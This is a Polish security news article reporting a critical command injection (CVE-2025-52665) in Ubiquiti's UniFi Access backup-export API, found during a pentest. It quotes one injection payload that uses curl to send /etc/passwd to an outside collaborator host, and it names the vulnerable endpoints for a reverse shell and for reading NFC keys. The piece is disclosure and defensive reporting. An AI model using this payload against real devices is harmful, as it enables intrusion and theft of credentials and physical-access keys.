Mega Sekurak Hacking Party w Krakowie! 26-27.10.2026 r.
Krytyczna podatność w aplikacji UniFi Access
Wielokrotnie podkreślaliśmy rolę pentestów w procesie utrzymania bezpieczeństwa organizacji. Wagę pentestów zdają się potwierdzać także doświadczenia badaczy z zespołu Catchify.
TLDR:
– Krytyczna podatność (10.0 w skali CVSS) w aplikacji UniFi Access odpowiadającej z kontrolę nad urządzeniami dostępu fizycznego.
– Możliwe jest pełne przejęcie urządzeń z podatnym oprogramowaniem i kradzież poświadczeń (za pomocą reverse shell).
– Do wykonania ataku wystarczy prosty command injection
– Badacze za swoje odkrycie otrzymali 25 000 USD w ramach programu bug bounty
Podczas wykonywania testów penetracyjnych u jednego ze swoich klientów odkryli oni krytyczną lukę w aplikacji UniFi Access. Aplikacja ta uruchamiana na urządzeniach Ubiquiti z systemem UniFi OS (UniFi OS Console) odpowiada za środowisko urządzeń dostępu fizycznego takich, jak zamki elektromagnetyczne, czytniki NFC, domofony i inne. Rozwiązanie to pozwala budować zarówno proste instalacje (np. pojedyncze drzwi w biurze), jak również rozbudowane systemy integrujące wiele drzwi, bramy, kamery, domofony i inne urządzenia dostępowe.
Badacze z Catchify podczas wykonywania rekonesansu sieci klienta natrafili na host z otwartym portem HTTP. Połączyli się z nim korzystając z przeglądarki internetowej. Ich oczom ukazał się interfejs UniFi OS.
API (Application Programming Interface), to – idąc za Wikipedią – „zbiór reguł ściśle opisujący, w jaki sposób programy lub podprogramy komunikują się ze sobą”. W tym przypadku mamy do czynienia z WebAPI, które stanowi swego rodzaju zbiór webowych interfejsów, endpointów, dzięki którym komponenty, będące częścią jednego oprogramowania, mogą ze sobą wymieniać informacje. Określone zadania takie, jak zarządzanie poświadczeniami, tokenami, sterowanie podłączonymi urządzeniami, monitorowanie zdarzeń czy wywoływanie procedury backupu oddelegowane są do osobnych modułów. To wygodne i współcześnie preferowane podejście. Nad wszystkim czuwa orkiestrator, który koordynuje działanie całości (więcej o APi UniFi można przeczytać w dokumentacji).

Informacje na forum Ubiquiti o problemach z działaniem API i wykonywaniem kopii zapasowych pochodzące od użytkowników zachęciły badaczy do bliższego przyjrzenia się tym funkcjonalnościom. Jak wskazali w swoim wpisie, dalsze obserwacje ujawniły modułowy charakter systemu kopii zapasowych. W założeniach twórców rozwiązania, poszczególne moduły powinny łączyć się z wewnętrznymi usługami za pomocą API dostępnego na lokalnym interfejsie. W tym momencie badacze postanowili zadać sobie najistotniejsze w całej sprawie pytanie, dlaczego usługa, która w założeniu powinna być dostępna tylko lokalnie widoczna jest także na zewnątrz?
Aby odpowiedzieć na to pytanie, członkowie zespołu Catchify prześledzili odwołania do „backup/export” w service.js w UniFi Core, elemencie UniFi OS odpowiedzialnym za uruchamianie aplikacji. Skutkiem tego było ujawnienie szeregu problemów z serializacją.

Opisywane sukcesy zachęciły badaczy do dalszych działań ofensywnych. Po przeskanowaniu wszystkich otwartych portów na 192.168.1.1 postanowili odpytać każdą widoczną usługę pod kątem ścieżki /api/ucore/backup/export. Jedna z usług odpowiedziała kodem błędu 405 Method Not Allowed. Jak wskazano na blogu Catchify:
That response is only emitted when the route exists but the HTTP verb is wrong, which told us the handler was reachable from the network and would likely accept a POST if we matched the orchestrator’s request shape.
We switched to a proper POST with Content-Type: application/json and mirrored the JSON body we saw in service.js. Our first attempt used a minimal command-injection payload:
ree
{„dir”:”/tmp/catchify-lab; curl -s –data-binary @/etc/passwd http://test.oastify.com/”}
No outbound hit arrived at the collaborator. The reason became clear once we considered how the export routine chains additional shell operations after using dir (mktemp, chmod, tar, du -s). Injecting a command with a trailing quote from the original command line can leave the shell in a syntactically invalid state. In other words, we had successfully broken out of the intended argument with ;, but the rest of the original command line was still being parsed after our curl, causing a parse or path error before the injected command could complete.
Analiza kodu Javascript orkiestratora wykazała, że wartość dir jest przyjmowana bez żadnej walidacji do endpointu http://127.0.0.1/:<appPort>/api/ucore/backup/export. Otrzymane w ten sposób dane są następnie wykorzystywane przy budowaniu poleceń powłoki mktemp, chmod, tar, du. Z racji tego, że dane te przekazywane są bez maskowania znaków specjalnych, zawarte w nich metaznaki interpretowane są jako nowe polecenia, co umożliwia wykonanie dowolnego kodu. Na skalę znaczenia tego problemu wpłynął także fakt, że wskazane zasoby miały być dostępne tylko na interfejsie pętli zwrotnej (loopback), jednak w wyniku błędnej konfiguracji wewnętrznego oprogramowania usługi te były dostępne także z zewnętrznej sieci. Warto nadmienić, że niezależnie od tego, sam fakt braku walidacji wprowadzanych danych umożliwiał wykonanie dowolnego kodu, a w efekcie przejęcie systemu.

Ostatecznie dopasowując odpowiednio payload udało się odczytać zawartość pliku /etc/passwd, a także ustanowić reverse shell, co w praktyce oznaczało pełne przejęcie systemu, a co za tym idzie także możliwość zarządzania poświadczeniami NFC. Ponadto kolejne próby pozwoliły m.in na nieautoryzowany odczyt struktury JSON z danymi uwierzytelniającymi używanymi przez funkcje dostępu mobilnego/NFC, w tym wartościami kluczy Apple NFC Express/Secure, typem terminala, TTL oraz blokiem google_pass_auth_key zawierającym dane klucza prywatnego w formacie PEM wraz z identyfikatorem wersji. W tym przypadku do skutecznego naruszenia wystarczyło zwykłe żądanie GET wysłane do /api/v1/user_assets/touch_pass/keys.

Na koniec warto wspomnieć, że opisywane problemy dotyczą aplikacji UniFi Access, nie zaś sprzętu sieciowego UniFi jako takiego. Jeśli nie używacie UniFi Access, to problem Was nie dotyczy. Podatność w skali CVSS 3.1 otrzymała najwyższą możliwą ocenę 10.0. Została oznaczona identyfikatorem CVE-2025-52665. Podatne są wersje od 3.3.22 do 3.4.31. Nie są znane sposoby mitigacji podatności, dlatego zalecana jest jak najszybsza aktualizacja do wersji nie niższej niż 4.0.21. W ramach programu bug bounty została wypłacona kwota 25 000 USD. Była to maksymalna możliwa wypłata przewidziana dla tego typu celów w programie bug bounty Ubiquiti.
Nie mamy wpływu na to, jak wykonane jest oprogramowanie, z którego korzystamy. Ważne jest, aby mieć świadomość tego, co jest osiągalne w naszej sieci i spoza niej oraz co z tego wynika. Nie można także zapominać o stałym śledzeniu biuletynów bezpieczeństwa wydawanych przez dostawców używanego przez nas oprogramowania i sprzętu oraz o szybkim i regularnym instalowaniu aktualizacji bezpieczeństwa.
Źródło: Catchify
~pu
